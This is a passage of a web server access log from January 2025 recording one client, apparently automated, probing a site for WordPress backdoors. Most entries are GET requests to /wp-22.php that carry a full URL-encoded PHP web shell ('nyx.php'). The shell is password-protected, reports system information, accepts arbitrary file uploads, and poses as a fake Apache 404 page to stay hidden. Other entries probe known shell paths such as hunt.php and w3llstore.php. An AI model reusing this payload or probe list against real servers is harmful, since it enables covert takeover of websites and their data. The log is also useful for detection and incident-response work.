/wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:43:27 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:43:30 +0530] "GET /wp-includes/IXR/hunt.php HTTP/1.1" 302 244 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:43:31 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:43:31 +0530] "GET /wp-admin/includes/maint/wp-readindex.php HTTP/1.1" 302 260 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:43:31 +0530] "GET /wp-includes/css/class.enhanced.php HTTP/1.1" 302 254 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:43:31 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:43:31 +0530] "GET /wp-includes/css/category.php HTTP/1.1" 302 248 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:43:31 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:43:31 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:43:32 +0530] "GET /templates/rhuk_milkyway/index.php HTTP/1.1" 302 253 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:43:32 +0530] "GET /.well-known/radio.php HTTP/1.1" 302 241 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:43:33 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:43:33 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:43:33 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:43:34 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:43:35 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:43:35 +0530] "GET /w3llstore.php HTTP/1.1" 302 233 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:43:37 +0530] "GET /wp-admin/js/widgets/wp-contact.php HTTP/1.1" 302 254 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:43:38 +0530] "GET /wp-includes/sys.php HTTP/1.1" 302 239 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:43:38 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:43:38 +0530] "GET 